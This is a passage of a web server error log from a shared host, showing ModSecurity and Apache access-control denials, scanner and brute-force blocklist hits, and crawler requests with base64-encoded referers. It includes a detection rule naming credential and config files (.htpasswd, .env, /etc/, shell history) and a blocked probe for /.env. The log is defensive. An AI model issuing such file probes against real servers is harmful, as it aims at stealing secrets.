[pid 715691:tid 715787] [remote 216.73.216.223:62357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:04.834822 2026] [access_compat:error] [pid 715691:tid 715787] [remote 216.73.216.223:62357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:04.858760 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:04.859042 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:22:04.950417 2026] [security2:error] [pid 715691:tid 715728] [remote 156.59.198.135:58864] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.frederickmodelaircraftclub.org"] [uri "/documents/maps/Warner%20map%20and%20Ariel%20View.pdf"] [unique_id "ai30LLV-dFiaX9AtWiQXWQABOxI"] [Sat Jun 13 18:22:04.995048 2026] [security2:error] [pid 646876:tid 646948] [remote 17.22.237.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30LNyTkdrNlD40tSHLHAAABUU"] [Sat Jun 13 18:22:05.086627 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.2:44743] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:05.086910 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.2:44743] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:05.259966 2026] [access_compat:error] [pid 715691:tid 715916] [client 66.249.75.132:55934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:05.260223 2026] [access_compat:error] [pid 715691:tid 715916] [client 66.249.75.132:55934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:05.266261 2026] [security2:error] [pid 646876:tid 647006] [remote 17.246.19.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30LdyTkdrNlD40tSHLJgAAB38"] [Sat Jun 13 18:22:05.377001 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:22:05.377344 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:22:05.504770 2026] [proxy:error] [pid 715691:tid 715849] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:05.504863 2026] [proxy_http:error] [pid 715691:tid 715849] [client 207.241.173.18:45094] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:05.505783 2026] [proxy:error] [pid 715691:tid 715849] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:05.505838 2026] [proxy_http:error] [pid 715691:tid 715849] [client 207.241.173.18:45094] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:05.697354 2026] [security2:error] [pid 715691:tid 715831] [remote 17.241.219.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30LbV-dFiaX9AtWiQXgAABD3g"] [Sat Jun 13 18:22:05.904742 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:22:05.905113 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:22:05.920859 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.110:33110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:05.921372 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.110:33110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:06.052894 2026] [core:error] [pid 646876:tid 647071] [client 47.79.206.210:23940] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:22:06.052925 2026] [core:error] [pid 646876:tid 647071] [client 47.79.206.210:23940] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:22:06.055787 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.42:40994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:06.056195 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.42:40994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:06.381806 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:22:06.382286 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:22:06.420873 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.31:24442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:06.421315 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.31:24442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:06.564737 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.53:58164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:06.565184 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.53:58164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:06.746756 2026] [security2:error] [pid 715691:tid 715835] [remote 17.241.227.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30LrV-dFiaX9AtWiQXpAABOXw"] [Sat Jun 13 18:22:06.829036 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.48:57551] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:06.829491 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.48:57551] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:06.906535 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:22:06.906972 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:22:07.203955 2026] [security2:error] [pid 646876:tid 646970] [remote 17.22.253.142:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30L9yTkdrNlD40tSHLgwAAfVs"] [Sat Jun 13 18:22:07.422507 2026] [security2:error] [pid 646876:tid 647102] [client 172.56.168.133:4639] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30L9yTkdrNlD40tSHLjAAAAF4"] [Sat Jun 13 18:22:07.422679 2026] [security2:error] [pid 646876:tid 647102] [client 172.56.168.133:4639] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30L9yTkdrNlD40tSHLjAAAAF4"] [Sat Jun 13 18:22:07.437130 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:07.437587 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:07.522109 2026] [security2:error] [pid 646876:tid 646936] [remote 17.246.23.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30L9yTkdrNlD40tSHLkQAAcTk"] [Sat Jun 13 18:22:07.533619 2026] [security2:error] [pid 646876:tid 647051] [client 210.217.96.217:28506] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30L9yTkdrNlD40tSHLkgAAACs"] [Sat Jun 13 18:22:07.533775 2026] [security2:error] [pid 646876:tid 647051] [client 210.217.96.217:28506] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30L9yTkdrNlD40tSHLkgAAACs"] [Sat Jun 13 18:22:07.573779 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.106:25907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:07.574059 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.106:25907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:07.740477 2026] [security2:error] [pid 646876:tid 647059] [client 149.40.49.4:18105] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "montgomerycountygreenfest.org"] [uri "/.env"] [unique_id "ai30L9yTkdrNlD40tSHLmwAAADM"] [Sat Jun 13 18:22:07.842677 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.74:48452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:07.843072 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.74:48452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:07.887725 2026] [security2:error] [pid 646876:tid 646973] [remote 17.241.227.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30L9yTkdrNlD40tSHLowAAOV4"] [Sat Jun 13 18:22:07.933853 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:07.934290 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 